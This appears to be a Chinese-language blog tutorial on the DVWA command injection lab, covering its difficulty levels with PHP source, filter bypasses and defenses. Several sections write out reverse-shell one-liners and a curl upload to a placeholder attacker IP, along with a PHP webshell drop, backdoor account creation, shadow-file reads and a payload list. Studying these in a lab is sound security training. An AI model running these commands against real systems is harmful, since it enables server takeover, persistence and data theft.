0%

DVWA - Command Injection (命令注入) 攻防练习详解

目录


漏洞简介

什么是命令注入(Command Injection)?

命令注入是指攻击者在应用程序中注入操作系统命令,使应用程序执行预期之外的系统命令。

原理:
应用程序将用户输入直接传递给系统shell执行,没有进行适当的过滤和验证。

危害:

  • 读取敏感文件(/etc/passwd、配置文件)
  • 修改系统文件
  • 执行任意命令
  • 反弹shell获取服务器控制权
  • 提权
  • 植入后门

常见场景:

  • Ping工具
  • DNS查询工具
  • 文件处理工具
  • 系统管理工具

Low 难度

攻击目标

无任何过滤的命令执行,完全暴露。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

// 检查是否提交了表单
// isset() - 检查变量是否已设置
// $_POST['Submit'] - 检查Submit按钮是否被点击
if( isset( $_POST[ 'Submit' ] ) ) {

// 获取用户输入的目标IP地址
// $_REQUEST - 包含$_GET、$_POST、$_COOKIE的超全局数组
// trim() - 移除字符串两端的空白字符(空格、制表符、换行符等)
// 作用:清理用户输入前后的空格
$target = $_REQUEST[ 'ip' ];

// ★★★ 危险操作:直接拼接用户输入到系统命令 ★★★
// 判断操作系统类型
// stristr() - 不区分大小写的查找子字符串
// PHP_OS - PHP预定义常量,返回操作系统名称(如:Windows NT、Linux)
// 'WIN' - 检查是否为Windows系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

// ★★★ Windows系统:执行ping命令 ★★★
// shell_exec() - 通过shell执行命令并返回输出
// "ping -n 4 " - Windows的ping命令,-n 4表示发送4个数据包
// . $target - 字符串连接运算符,将用户输入直接拼接到命令中
// 问题:没有任何过滤!用户可以注入任意命令!
// 示例危险输入:127.0.0.1 & dir
$cmd = shell_exec( 'ping ' . $target );
}
else {

// ★★★ Linux/Unix系统:执行ping命令 ★★★
// ping -c 4 - Linux的ping命令,-c 4表示发送4个数据包
// 问题:同样没有任何过滤!
// 示例危险输入:127.0.0.1; ls -la
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// 将命令执行结果存储到HTML变量中
// <pre> - HTML预格式化标签,保留空格和换行
// {$cmd} - 在双引号字符串中插入变量值
$html .= "<pre>{$cmd}</pre>";
}

?>

漏洞分析

核心问题:

  1. 直接拼接用户输入 - 没有任何验证或过滤
  2. 使用shell_exec() - 直接执行shell命令
  3. 无输入验证 - 不检查IP格式
  4. 无黑名单 - 允许任何特殊字符

命令连接符:

符号 系统 作用 示例
; Linux/Win 依次执行 127.0.0.1; ls
& Windows 依次执行 127.0.0.1 & dir
&& Linux/Win 前者成功才执行后者 127.0.0.1 && whoami
| Linux/Win 管道,前者输出作为后者输入 127.0.0.1 | cat /etc/passwd
|| Linux/Win 前者失败才执行后者 invalid || whoami
`command` Linux 命令替换 127.0.0.1 `whoami`
$(command) Linux 命令替换 127.0.0.1 $(ls)

攻击步骤

基础测试

1. 简单命令注入(Linux)

1
2
3
4
5
6
7
# 输入:
127.0.0.1; whoami

# 执行的实际命令:
ping -c 4 127.0.0.1; whoami

# 结果:先ping,然后显示当前用户

2. 查看目录(Linux)

1
2
3
4
5
6
7
8
# 输入:
127.0.0.1; ls -la

# 查看系统信息
127.0.0.1; uname -a

# 查看当前路径
127.0.0.1; pwd

3. 读取敏感文件(Linux)

1
2
3
4
5
6
7
8
# 读取密码文件
127.0.0.1; cat /etc/passwd

# 读取shadow文件(需要权限)
127.0.0.1; cat /etc/shadow

# 读取PHP配置
127.0.0.1; cat ../../config/config.inc.php

4. Windows命令

1
2
3
4
5
6
7
8
9
10
11
REM 查看目录
127.0.0.1 & dir

REM 查看当前用户
127.0.0.1 & whoami

REM 查看系统信息
127.0.0.1 & systeminfo

REM 查看网络配置
127.0.0.1 & ipconfig

高级攻击

1. 反弹Shell(Linux)

1
2
3
4
5
6
7
8
# 方法1:使用netcat
127.0.0.1; nc -e /bin/bash 攻击者IP 4444

# 方法2:使用bash
127.0.0.1; bash -i >& /dev/tcp/攻击者IP/4444 0>&1

# 方法3:使用python
127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻击者监听:

1
2
# 在攻击者机器上监听
nc -lvp 4444

2. 写入WebShell

1
2
3
4
5
# 写入PHP一句话木马
127.0.0.1; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

# 访问:
http://dvwa.local/shell.php?cmd=whoami

3. 添加管理员账户(Linux)

1
2
3
4
5
6
7
8
# 添加用户
127.0.0.1; useradd -m hacker

# 设置密码
127.0.0.1; echo 'hacker:password' | chpasswd

# 添加到sudo组
127.0.0.1; usermod -aG sudo hacker

4. 数据窃取

1
2
3
4
5
# 压缩敏感目录
127.0.0.1; tar -czf /tmp/data.tar.gz /var/www/html

# 通过网络传输
127.0.0.1; curl -F "file=@/tmp/data.tar.gz" http://攻击者服务器/upload

使用Burp Suite

步骤:

  1. 开启Burp Suite代理
  2. 提交正常请求
  3. 在Burp中拦截请求
  4. 修改ip参数:
    1
    ip=127.0.0.1; cat /etc/passwd
  5. Forward请求
  6. 查看响应

Medium 难度

攻击目标

添加了黑名单过滤,但可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {

// 获取用户输入
$target = $_REQUEST[ 'ip' ];

// ★★★ 新增:黑名单过滤 ★★★
// 定义要过滤的特殊字符数组
// 这些是常用的命令连接符
$substitutions = array(
'&&' => '', // 逻辑与,前者成功才执行后者
';' => '', // 命令分隔符,依次执行
);

// str_replace() - 字符串替换函数
// 参数1:要查找的字符(数组)
// 参数2:替换成的字符(数组)
// 参数3:被搜索的字符串
// 返回值:替换后的字符串
// array_keys() - 返回数组的所有键(这里是'&&'和';')
// array_values() - 返回数组的所有值(这里都是空字符串'')
// 作用:将&&和;替换为空,试图阻止命令注入
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// 执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

$html .= "<pre>{$cmd}</pre>";
}

?>

新增防护

  1. 黑名单过滤 - 过滤 &&;

仍存在的漏洞

  1. 黑名单不完整 - 只过滤了2个字符,还有很多其他方式
  2. 没有过滤 |||&、换行符等
  3. 仍使用shell_exec()

绕过方法

方法1:使用其他连接符

1
2
3
4
5
6
7
8
9
10
11
# 使用单个&(Windows)
127.0.0.1 & whoami

# 使用管道|
127.0.0.1 | whoami

# 使用||
invalid_ip || whoami

# 使用换行符(URL编码:%0A)
127.0.0.1%0Awhoami

方法2:在Burp Suite中测试

1
2
3
4
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
...

ip=127.0.0.1+|+cat+/etc/passwd&Submit=Submit

方法3:其他绕过技巧

1
2
3
4
5
6
7
8
# 使用$()命令替换
127.0.0.1$(whoami)

# 使用反引号``
127.0.0.1`whoami`

# 使用&(单个,不是&&)
127.0.0.1 & ls

High 难度

攻击目标

更严格的黑名单,但仍有绕过方法。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];

// ★★★ 扩展的黑名单 ★★★
// 增加了更多的命令连接符
$substitutions = array(
'&' => '', // 单个&
';' => '', // 分号
'| ' => '', // 管道+空格
'-' => '', // 减号(防止ping参数注入)
'$' => '', // 美元符号(防止命令替换$())
'(' => '', // 左括号(防止命令替换)
')' => '', // 右括号
'`' => '', // 反引号(防止命令替换)
'||' => '', // 逻辑或
);

// 执行替换
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// 执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

$html .= "<pre>{$cmd}</pre>";
}

?>

新增防护

  1. 更完整的黑名单 - 过滤了 &, ;, | , -, $, (, ), `, ||

仍存在的漏洞

  1. 注意:只过滤了| (管道+空格) - 可以用|(无空格)绕过
  2. 没有过滤换行符
  3. 黑名单仍不完全

绕过方法

方法1:管道符不加空格

1
2
3
# 注意:黑名单是 '| '(管道+空格)
# 我们用 '|'(只有管道,无空格)
127.0.0.1|cat /etc/passwd

原理:

1
2
3
4
5
// 黑名单
'| ' => '' // 注意这里有空格

// 我们的输入
'127.0.0.1|cat' // 没有空格,不会被过滤!

方法2:使用换行符

1
2
3
4
5
# URL编码的换行符:%0A
127.0.0.1%0Acat /etc/passwd

# 在Burp中测试
ip=127.0.0.1%0Awhoami

方法3:组合绕过

1
2
# 如果单个方法被拦截,可以尝试组合
127.0.0.1|cat</etc/passwd

Impossible 难度

攻击目标

使用白名单验证,几乎无法绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

if( isset( $_POST[ 'Submit' ] ) ) {

// 检查Anti-CSRF token
// checkToken() - DVWA自定义函数,验证CSRF token
// 作用:防止跨站请求伪造攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户输入
$target = $_REQUEST[ 'ip' ];

// ★★★ 核心防护:stripslashes()去除反斜杠 ★★★
// stripslashes() - 删除字符串中的反斜杠\
// 作用:清理可能的转义字符
$target = stripslashes( $target );

// ★★★ 关键防护:白名单验证 - 将IP分割成数组 ★★★
// explode() - 使用分隔符将字符串分割成数组
// 参数1:分隔符(这里是'.')
// 参数2:要分割的字符串
// 返回值:数组
// 示例:'192.168.1.1' => ['192', '168', '1', '1']
$octet = explode( ".", $target );

// ★★★ 验证IP格式:必须是4段 ★★★
// is_numeric() - 检查变量是否为数字或数字字符串
// count() - 计算数组元素个数
// ( ( count( $octet ) == 4 ) - 确保IP地址有4个部分
// is_numeric() - 确保每个部分都是数字
// $octet[0] >= 0 && $octet[0] <= 255 - 确保第1段在0-255范围内
if( ( count( $octet ) == 4 ) && ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( $octet[0] >= 0 ) && ( $octet[0] <= 255 ) && ( $octet[1] >= 0 ) && ( $octet[1] <= 255) && ( $octet[2] >= 0 ) && ( $octet[2] <= 255) && ( $octet[3] >= 0 ) && ( $octet[3] <= 255) ) {

// ★★★ 重新组合已验证的IP ★★★
// 使用已验证的数组重新构建IP字符串
// 这样即使原始输入包含恶意内容,也会被丢弃
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// 执行ping命令(现在是安全的)
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

$html .= "<pre>{$cmd}</pre>";
}
else {
// ★★★ IP格式不正确,输出错误信息 ★★★
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// 生成新的Anti-CSRF token
generateSessionToken();

?>

完善的防护机制

  1. CSRF Token验证 - 防止跨站请求伪造
  2. stripslashes() - 清理反斜杠
  3. 白名单验证 - 只允许标准IP格式
  4. IP格式严格验证
    • 必须4个部分
    • 每部分必须是数字
    • 每部分范围0-255
  5. 重新构建输入 - 使用验证后的数据重新组合

为什么无法攻破?

白名单机制:

1
2
3
4
5
6
7
8
输入:127.0.0.1; whoami

验证过程:
1. 分割:['127', '0', '0', '1; whoami']
2. 检查第4个元素:'1; whoami'
3. is_numeric('1; whoami') = false
4. 验证失败,拒绝执行
5. 输出:ERROR: You have entered an invalid IP.

任何注入尝试都会失败:

1
2
3
4
5
127.0.0.1|whoami    -> count != 4 ❌
127.0.0.1;whoami -> count != 4 ❌
127.0.0.1&whoami -> count != 4 ❌
127.0.0.1%0Awhoami -> count != 4 ❌
127.$(whoami).0.1 -> is_numeric($(whoami)) = false

即使通过验证,也会被重新构建:

1
2
3
4
输入:127.0.0.1(正常IP)
验证:通过
重新构建:$octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3]
结果:127.0.0.1(原始恶意部分被丢弃)

防御建议

代码层面

  1. 避免使用系统命令函数

    1
    2
    3
    4
    5
    6
    7
    8
    // 危险函数(尽量避免)
    shell_exec()
    exec()
    system()
    passthru()
    popen()
    proc_open()
    ``(反引号)
  2. 使用内置函数替代

    1
    2
    3
    4
    5
    6
    7
    // 不要用shell命令
    shell_exec('ping ' . $ip);

    // 使用PHP内置函数
    if (filter_var($ip, FILTER_VALIDATE_IP)) {
    // 执行操作
    }
  3. 输入验证 - 白名单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // 严格的IP验证
    if (!filter_var($input, FILTER_VALIDATE_IP)) {
    die("Invalid IP");
    }

    // 正则表达式验证
    if (!preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $input)) {
    die("Invalid format");
    }
  4. 使用参数化执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // 不要拼接字符串
    $cmd = "ping " . $user_input; // 危险!

    // 使用escapeshellarg()
    $safe_arg = escapeshellarg($user_input);
    $cmd = "ping " . $safe_arg;

    // 或使用escapeshellcmd()
    $safe_cmd = escapeshellcmd($user_input);

函数说明

escapeshellarg()

1
2
3
4
5
6
// 给参数加单引号并转义内部的单引号
$input = "127.0.0.1; whoami";
$safe = escapeshellarg($input);
// 结果:'127.0.0.1; whoami'(作为一个参数)
exec("ping -c 1 " . $safe);
// 执行:ping -c 1 '127.0.0.1; whoami'(会失败,但安全)

escapeshellcmd()

1
2
3
4
// 转义命令中的特殊字符
$input = "127.0.0.1; whoami";
$safe = escapeshellcmd($input);
// 结果:127.0.0.1\; whoami(;被转义)

架构层面

  1. 最小权限原则

    • Web服务器使用低权限用户(www-data)
    • 禁止sudo权限
    • chroot监狱
  2. 禁用危险函数

    1
    2
    ; php.ini
    disable_functions = exec,passthru,shell_exec,system,proc_open,popen
  3. 使用容器隔离

    • Docker容器
    • 限制容器权限
    • 只读文件系统

检测和监控

  1. WAF规则

    1
    2
    3
    4
    5
    检测模式:
    [;&|]
    $(...)
    `...`
    %0A(换行符)
  2. 日志监控

    1
    2
    // 记录所有命令执行
    error_log("Command executed: " . $cmd);

总结对比

特性 Low Medium High Impossible
输入验证 黑名单(2个) 黑名单(9个) ✅ 白名单
过滤字符 &&, ; &, ;, | , -, $, (, ), `, || N/A
验证方式 简单替换 扩展替换 IP格式验证
CSRF防护
可绕过性 完全开放 容易 中等 几乎不可能
攻击示例 ; ls | ls |ls(无空格) 无法注入

实战建议

学习路径:

  1. Low难度 - 理解基本的命令注入
  2. Medium难度 - 学习绕过简单黑名单
  3. High难度 - 掌握高级绕过技巧
  4. Impossible难度 - 理解正确的防御方法

常用Payload集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 基础测试
; whoami
& whoami
| whoami
|| whoami
&& whoami

# 读取文件
; cat /etc/passwd
| cat /etc/passwd

# 列目录
; ls -la
; dir

# 反弹shell
; nc -e /bin/bash 攻击者IP 端口
; bash -i >& /dev/tcp/IP/端口 0>&1

# 写文件
; echo "恶意代码" > shell.php

工具推荐:

  • Burp Suite - 拦截修改请求
  • Commix - 自动化命令注入工具
  • SQLMap的os-shell模式

道德准则:

  • 只在授权环境测试
  • 不攻击真实系统
  • 理解防御才能更好地防护
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels